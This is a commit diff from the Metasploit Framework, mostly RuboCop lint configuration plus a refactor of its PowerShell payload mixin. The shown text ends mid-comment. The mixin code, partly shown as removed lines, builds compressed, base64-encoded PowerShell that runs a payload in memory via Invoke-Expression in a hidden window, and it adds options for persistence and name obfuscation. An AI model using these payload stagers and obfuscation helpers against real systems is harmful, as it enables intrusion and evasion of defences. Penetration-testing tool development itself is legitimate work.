Merge branch 'master' of github.com:rapid7/metasploit-framework
commit
34a42476b2
61
.rubocop.yml
61
.rubocop.yml
|
@ -1,19 +1,58 @@
|
|||
LineLength:
|
||||
# This list was created by analyzing the last three months (51 modules)
|
||||
# committed to Metasploit Framework. Many, many older modules will have
|
||||
# offenses, but this should at least provide a baseline for new modules.
|
||||
#
|
||||
# Updates to this file should include a 'Description' parameter for
|
||||
# any explaination needed.
|
||||
|
||||
inherit_from: .rubocop_todo.yml
|
||||
|
||||
Style/ClassLength:
|
||||
Description: 'Most Metasploit modules are quite large. This is ok.'
|
||||
Enabled: true
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/Documentation:
|
||||
Enabled: true
|
||||
Description: 'Most Metasploit modules do not have class documentation.'
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/Encoding:
|
||||
Enabled: true
|
||||
Description: 'We prefer binary to UTF-8.'
|
||||
EnforcedStyle: 'when_needed'
|
||||
|
||||
Style/LineLength:
|
||||
Description: >-
|
||||
Metasploit modules often pattern match against very
|
||||
long strings when identifying targets.
|
||||
Enabled: true
|
||||
Max: 180
|
||||
|
||||
MethodLength:
|
||||
Style/MethodLength:
|
||||
Enabled: true
|
||||
Max: 100
|
||||
|
||||
Style/ClassLength:
|
||||
Exclude:
|
||||
# Most modules are quite large and all contained in one class. This is OK.
|
||||
- 'modules/**/*'
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Documentation:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
Style/PercentLiteralDelimiters:
|
||||
Enabled: false
|
||||
Description: >-
|
||||
Metasploit devs tend to prefer [] over %w() for
|
||||
nearly all cases, since we often deal with funny
|
||||
looking arrays of nonwords. Consistency here is
|
||||
preferred over element type safety.
|
||||
|
||||
Style/WordArray:
|
||||
Enabled: false
|
||||
Description: >-
|
||||
Metasploit devs have grown comforatble with curly
|
||||
braces over parens for %w. Disabling this check
|
||||
prefers consistency.
|
||||
|
|
|
@ -0,0 +1,730 @@
|
|||
# This configuration was generated by `rubocop --auto-gen-config`
|
||||
# on 2014-07-29 16:18:04 -0500 using RuboCop version 0.23.0.
|
||||
# The point is for the user to remove these configuration records
|
||||
# one by one as the offenses are removed from the code base.
|
||||
# Note that changes in the inspected code, or installation of new
|
||||
# versions of RuboCop, may require this file to be generated again.
|
||||
|
||||
# Offense count: 10
|
||||
Lint/AmbiguousOperator:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 8
|
||||
Lint/AmbiguousRegexpLiteral:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1395
|
||||
# Configuration parameters: AllowSafeAssignment.
|
||||
Lint/AssignmentInCondition:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 105
|
||||
Lint/BlockAlignment:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 7
|
||||
Lint/ConditionPosition:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 119
|
||||
# Cop supports --auto-correct.
|
||||
Lint/DeprecatedClassMethods:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 5
|
||||
Lint/ElseLayout:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1
|
||||
Lint/EmptyInterpolation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 746
|
||||
# Configuration parameters: AlignWith, SupportedStyles.
|
||||
Lint/EndAlignment:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 3
|
||||
Lint/EnsureReturn:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 43
|
||||
Lint/Eval:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 586
|
||||
Lint/HandleExceptions:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 107
|
||||
Lint/LiteralInCondition:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 8
|
||||
Lint/LiteralInInterpolation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 30
|
||||
Lint/Loop:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 51
|
||||
Lint/ParenthesesAsGroupedExpression:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2
|
||||
Lint/RequireParentheses:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 526
|
||||
# Cop supports --auto-correct.
|
||||
Lint/RescueException:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 82
|
||||
Lint/ShadowingOuterLocalVariable:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 19
|
||||
Lint/SpaceBeforeFirstArg:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 395
|
||||
# Cop supports --auto-correct.
|
||||
Lint/StringConversionInInterpolation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 83
|
||||
Lint/UnderscorePrefixedVariableName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 18
|
||||
Lint/UnreachableCode:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 950
|
||||
# Cop supports --auto-correct.
|
||||
Lint/UnusedBlockArgument:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1554
|
||||
# Cop supports --auto-correct.
|
||||
Lint/UnusedMethodArgument:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 21
|
||||
Lint/UselessAccessModifier:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2236
|
||||
Lint/UselessAssignment:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1
|
||||
Lint/UselessComparison:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 4
|
||||
Lint/UselessSetterCall:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 131
|
||||
Lint/Void:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 178
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/AccessModifierIndentation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 346
|
||||
Style/AccessorMethodName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 195
|
||||
# Cop supports --auto-correct.
|
||||
Style/Alias:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1007
|
||||
# Cop supports --auto-correct.
|
||||
Style/AlignArray:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1205
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedHashRocketStyle, EnforcedColonStyle, EnforcedLastArgumentHashStyle, SupportedLastArgumentHashStyles.
|
||||
Style/AlignHash:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2822
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/AlignParameters:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 9507
|
||||
# Cop supports --auto-correct.
|
||||
Style/AndOr:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 9
|
||||
Style/AsciiComments:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 193
|
||||
# Cop supports --auto-correct.
|
||||
Style/BlockComments:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 841
|
||||
Style/BlockNesting:
|
||||
Max: 8
|
||||
|
||||
# Offense count: 3258
|
||||
# Cop supports --auto-correct.
|
||||
Style/Blocks:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2245
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/BracesAroundHashParameters:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 17
|
||||
Style/CaseEquality:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1843
|
||||
# Configuration parameters: IndentWhenRelativeTo, SupportedStyles, IndentOneStep.
|
||||
Style/CaseIndentation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 562
|
||||
# Cop supports --auto-correct.
|
||||
Style/CharacterLiteral:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 80
|
||||
Style/ClassAndModuleCamelCase:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 309
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/ClassAndModuleChildren:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 352
|
||||
# Configuration parameters: CountComments.
|
||||
Style/ClassLength:
|
||||
Max: 38107
|
||||
|
||||
# Offense count: 203
|
||||
# Cop supports --auto-correct.
|
||||
Style/ClassMethods:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 311
|
||||
Style/ClassVars:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 364
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: PreferredMethods.
|
||||
Style/CollectionMethods:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 315
|
||||
# Cop supports --auto-correct.
|
||||
Style/ColonMethodCall:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 233
|
||||
# Configuration parameters: Keywords.
|
||||
Style/CommentAnnotation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 375
|
||||
# Cop supports --auto-correct.
|
||||
Style/CommentIndentation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 450
|
||||
Style/ConstantName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2713
|
||||
Style/CyclomaticComplexity:
|
||||
Max: 259
|
||||
|
||||
# Offense count: 275
|
||||
# Cop supports --auto-correct.
|
||||
Style/DefWithParentheses:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 159
|
||||
# Cop supports --auto-correct.
|
||||
Style/DeprecatedHashMethods:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1455
|
||||
Style/Documentation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 18
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/DotPosition:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 70
|
||||
Style/DoubleNegation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 16
|
||||
Style/EachWithObject:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 490
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: AllowAdjacentOneLineDefs.
|
||||
Style/EmptyLineBetweenDefs:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 3753
|
||||
# Cop supports --auto-correct.
|
||||
Style/EmptyLines:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 64
|
||||
Style/EmptyLinesAroundAccessModifier:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 8506
|
||||
# Cop supports --auto-correct.
|
||||
Style/EmptyLinesAroundBody:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 164
|
||||
# Cop supports --auto-correct.
|
||||
Style/EmptyLiteral:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 10
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/Encoding:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1
|
||||
Style/EndBlock:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1
|
||||
Style/EndOfLine:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 26
|
||||
Style/EvenOdd:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 44
|
||||
# Configuration parameters: Exclude.
|
||||
Style/FileName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 108
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/For:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 981
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/FormatString:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 243
|
||||
# Configuration parameters: AllowedVariables.
|
||||
Style/GlobalVars:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 727
|
||||
# Configuration parameters: MinBodyLength.
|
||||
Style/GuardClause:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 11295
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/HashSyntax:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2551
|
||||
# Configuration parameters: MaxLineLength.
|
||||
Style/IfUnlessModifier:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 82
|
||||
Style/IfWithSemicolon:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2056
|
||||
# Cop supports --auto-correct.
|
||||
Style/IndentArray:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 3023
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/IndentHash:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1257
|
||||
# Cop supports --auto-correct.
|
||||
Style/IndentationConsistency:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 4705
|
||||
# Cop supports --auto-correct.
|
||||
Style/IndentationWidth:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 302
|
||||
Style/Lambda:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 4664
|
||||
# Cop supports --auto-correct.
|
||||
Style/LeadingCommentSpace:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 3304
|
||||
# Cop supports --auto-correct.
|
||||
Style/LineEndConcatenation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 127
|
||||
Style/LineLength:
|
||||
Max: 5614
|
||||
|
||||
# Offense count: 1480
|
||||
# Cop supports --auto-correct.
|
||||
Style/MethodCallParentheses:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 28
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/MethodDefParentheses:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 22
|
||||
# Configuration parameters: CountComments.
|
||||
Style/MethodLength:
|
||||
Max: 38090
|
||||
|
||||
# Offense count: 278
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/MethodName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 27
|
||||
Style/MultilineBlockChain:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 93
|
||||
Style/MultilineIfThen:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 19
|
||||
Style/MultilineTernaryOperator:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 3497
|
||||
# Cop supports --auto-correct.
|
||||
Style/NegatedIf:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 85
|
||||
# Cop supports --auto-correct.
|
||||
Style/NegatedWhile:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 53
|
||||
Style/NestedTernaryOperator:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 972
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/Next:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 587
|
||||
# Cop supports --auto-correct.
|
||||
Style/NilComparison:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 311
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: IncludeSemanticChanges.
|
||||
Style/NonNilCheck:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 5052
|
||||
# Cop supports --auto-correct.
|
||||
Style/Not:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 72
|
||||
Style/OneLineConditional:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 28
|
||||
Style/OpMethod:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 94
|
||||
# Configuration parameters: CountKeywordArgs.
|
||||
Style/ParameterLists:
|
||||
Max: 14
|
||||
|
||||
# Offense count: 3567
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: AllowSafeAssignment.
|
||||
Style/ParenthesesAroundCondition:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1030
|
||||
# Cop supports --auto-correct.
|
||||
Style/PerlBackrefs:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 154
|
||||
# Configuration parameters: NamePrefixBlacklist.
|
||||
Style/PredicateName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 165
|
||||
# Cop supports --auto-correct.
|
||||
Style/Proc:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 100
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/RaiseArgs:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 286
|
||||
# Cop supports --auto-correct.
|
||||
Style/RedundantBegin:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 269
|
||||
Style/RedundantException:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 3440
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: AllowMultipleReturnValues.
|
||||
Style/RedundantReturn:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 3162
|
||||
# Cop supports --auto-correct.
|
||||
Style/RedundantSelf:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 237
|
||||
# Configuration parameters: MaxSlashes.
|
||||
Style/RegexpLiteral:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 349
|
||||
Style/RescueModifier:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 203
|
||||
Style/SelfAssignment:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 485
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: AllowAsExpressionSeparator.
|
||||
Style/Semicolon:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2468
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/SignalException:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 126
|
||||
# Configuration parameters: Methods.
|
||||
Style/SingleLineBlockParams:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 480
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: AllowIfMethodIsEmpty.
|
||||
Style/SingleLineMethods:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 482
|
||||
# Cop supports --auto-correct.
|
||||
Style/SingleSpaceBeforeFirstArg:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 8
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceAfterColon:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 66361
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceAfterComma:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1387
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceAfterControlKeyword:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 35
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceAfterMethodName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 154
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceAfterNot:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceAfterSemicolon:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2592
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/SpaceAroundEqualsInParameterDefault:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 9743
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceAroundOperators:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 390
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/SpaceBeforeBlockBraces:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1297
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceBeforeComment:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 7
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceBeforeModifierKeyword:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1342
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles, EnforcedStyleForEmptyBraces, SpaceBeforeBlockParameters.
|
||||
Style/SpaceInsideBlockBraces:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 24964
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceInsideBrackets:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 2807
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, EnforcedStyleForEmptyBraces, SupportedStyles.
|
||||
Style/SpaceInsideHashLiteralBraces:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 5223
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpaceInsideParens:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 729
|
||||
# Cop supports --auto-correct.
|
||||
Style/SpecialGlobalVars:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 111166
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 382
|
||||
Style/Tab:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 568
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/TrailingBlankLines:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 6257
|
||||
# Configuration parameters: EnforcedStyleForMultiline, SupportedStyles.
|
||||
Style/TrailingComma:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1803
|
||||
# Cop supports --auto-correct.
|
||||
Style/TrailingWhitespace:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 141
|
||||
# Cop supports --auto-correct.
|
||||
# Configuration parameters: ExactNameMatch, AllowPredicates, AllowDSLWriters, Whitelist.
|
||||
Style/TrivialAccessors:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 22
|
||||
Style/UnlessElse:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 216
|
||||
Style/UnneededCapitalW:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 13
|
||||
# Cop supports --auto-correct.
|
||||
Style/UnneededPercentX:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 93
|
||||
# Cop supports --auto-correct.
|
||||
Style/VariableInterpolation:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 740
|
||||
# Configuration parameters: EnforcedStyle, SupportedStyles.
|
||||
Style/VariableName:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 1520
|
||||
# Cop supports --auto-correct.
|
||||
Style/WhenThen:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 33
|
||||
# Cop supports --auto-correct.
|
||||
Style/WhileUntilDo:
|
||||
Enabled: false
|
||||
|
||||
# Offense count: 129
|
||||
# Configuration parameters: MaxLineLength.
|
||||
Style/WhileUntilModifier:
|
||||
Enabled: false
|
|
@ -7,7 +7,7 @@ CLASSES = Exploit.java
|
|||
all: $(CLASSES:.java=.class)
|
||||
|
||||
install:
|
||||
mv *.class ../../../../data/exploits/CVE-2013-3465/
|
||||
mv *.class ../../../../data/exploits/CVE-2013-2465/
|
||||
|
||||
clean:
|
||||
rm -rf *.class
|
||||
|
|
|
@ -154,7 +154,7 @@ module Exploit::CmdStager
|
|||
|
||||
# Returns a hash with the :decoder option if possible
|
||||
#
|
||||
# @params opts [Hash] Input Hash.
|
||||
# @param opts [Hash] Input Hash.
|
||||
# @return [Hash] Hash with the input data and a :decoder option when
|
||||
# possible.
|
||||
def opts_with_decoder(opts = {})
|
||||
|
@ -279,7 +279,7 @@ module Exploit::CmdStager
|
|||
# Answers if the input flavor is compatible with the current target or module.
|
||||
#
|
||||
# @param f [Symbol] The flavor to check
|
||||
# @returns [Boolean] true if compatible, false otherwise.
|
||||
# @return [Boolean] true if compatible, false otherwise.
|
||||
def compatible_flavor?(f)
|
||||
return true if target_flavor.nil?
|
||||
case target_flavor.class.to_s
|
||||
|
|
|
@ -1,178 +1,380 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'zlib'
|
||||
require 'rex/exploitation/powershell'
|
||||
|
||||
module Msf
|
||||
module Exploit::Powershell
|
||||
PowershellScript = Rex::Exploitation::Powershell::Script
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
|
||||
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
|
||||
OptBool.new('RUN_WOW64', [
|
||||
true,
|
||||
'Execute powershell in 32bit compatibility mode, payloads need native arch',
|
||||
false
|
||||
]),
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
|
||||
OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
|
||||
OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
|
||||
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
|
||||
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
|
||||
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
|
||||
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Insert substitutions into the powershell script
|
||||
# Return an encoded powershell script
|
||||
# Will invoke PSH modifiers as enabled
|
||||
#
|
||||
def make_subs(script, subs)
|
||||
if ::File.file?(script)
|
||||
script = ::File.read(script)
|
||||
# @param script_in [String] Script contents
|
||||
#
|
||||
# @return [String] Encoded script
|
||||
def encode_script(script_in)
|
||||
# Build script object
|
||||
psh = PowershellScript.new(script_in)
|
||||
# Invoke enabled modifiers
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
psh.send(mod_method)
|
||||
end
|
||||
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0],set[1])
|
||||
end
|
||||
if datastore['VERBOSE']
|
||||
print_good("Final Script: ")
|
||||
script.each_line {|l| print_status("\t#{l}")}
|
||||
end
|
||||
return script
|
||||
psh.encode_code
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of substitutions for use in make_subs
|
||||
# Return a gzip compressed powershell script
|
||||
# Will invoke PSH modifiers as enabled
|
||||
#
|
||||
def process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
return new_subs
|
||||
end
|
||||
|
||||
#
|
||||
# Read in a powershell script stored in +script+
|
||||
#
|
||||
def read_script(script)
|
||||
script_in = ''
|
||||
begin
|
||||
# Open script file for reading
|
||||
fd = ::File.new(script, 'r')
|
||||
while (line = fd.gets)
|
||||
script_in << line
|
||||
end
|
||||
|
||||
# Close open file
|
||||
fd.close()
|
||||
rescue Errno::ENAMETOOLONG, Errno::ENOENT
|
||||
# Treat script as a... script
|
||||
script_in = script
|
||||
end
|
||||
return script_in
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Return a zlib compressed powershell script
|
||||
# @param script_in [String] Script contents
|
||||
# @param eof [String] Marker to indicate the end of file appended to script
|
||||
#
|
||||
# @return [String] Compressed script with decompression stub
|
||||
def compress_script(script_in, eof = nil)
|
||||
# Build script object
|
||||
psh = PowershellScript.new(script_in)
|
||||
# Invoke enabled modifiers
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
psh.send(mod_method)
|
||||
end
|
||||
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = ::Zlib::Deflate.deflate(script_in,
|
||||
::Zlib::BEST_COMPRESSION)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = "$stream = New-Object IO.MemoryStream(,"
|
||||
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
|
||||
# Read & delete the first two bytes due to incompatibility with MS
|
||||
psh_expression << "$stream.ReadByte()|Out-Null;"
|
||||
psh_expression << "$stream.ReadByte()|Out-Null;"
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
|
||||
psh_expression << "$(New-Object IO.Compression.DeflateStream("
|
||||
psh_expression << "$stream,"
|
||||
psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
|
||||
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
|
||||
|
||||
# If eof is set, add a marker to signify end of script output
|
||||
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
|
||||
# Convert expression to unicode
|
||||
unicode_expression = Rex::Text.to_unicode(psh_expression)
|
||||
|
||||
# Base64 encode the unicode expression
|
||||
encoded_expression = Rex::Text.encode_base64(unicode_expression)
|
||||
|
||||
return encoded_expression
|
||||
psh.compress_code(eof)
|
||||
end
|
||||
|
||||
#
|
||||
# Runs powershell in hidden window raising interactive proc msg
|
||||
# Generate a powershell command line, options are passed on to
|
||||
# generate_psh_args
|
||||
#
|
||||
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
|
||||
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
|
||||
# @param opts [Hash] The options to generate the command line
|
||||
# @option opts [String] :path Path to the powershell binary
|
||||
# @option opts [Boolean] :no_full_stop Whether powershell binary
|
||||
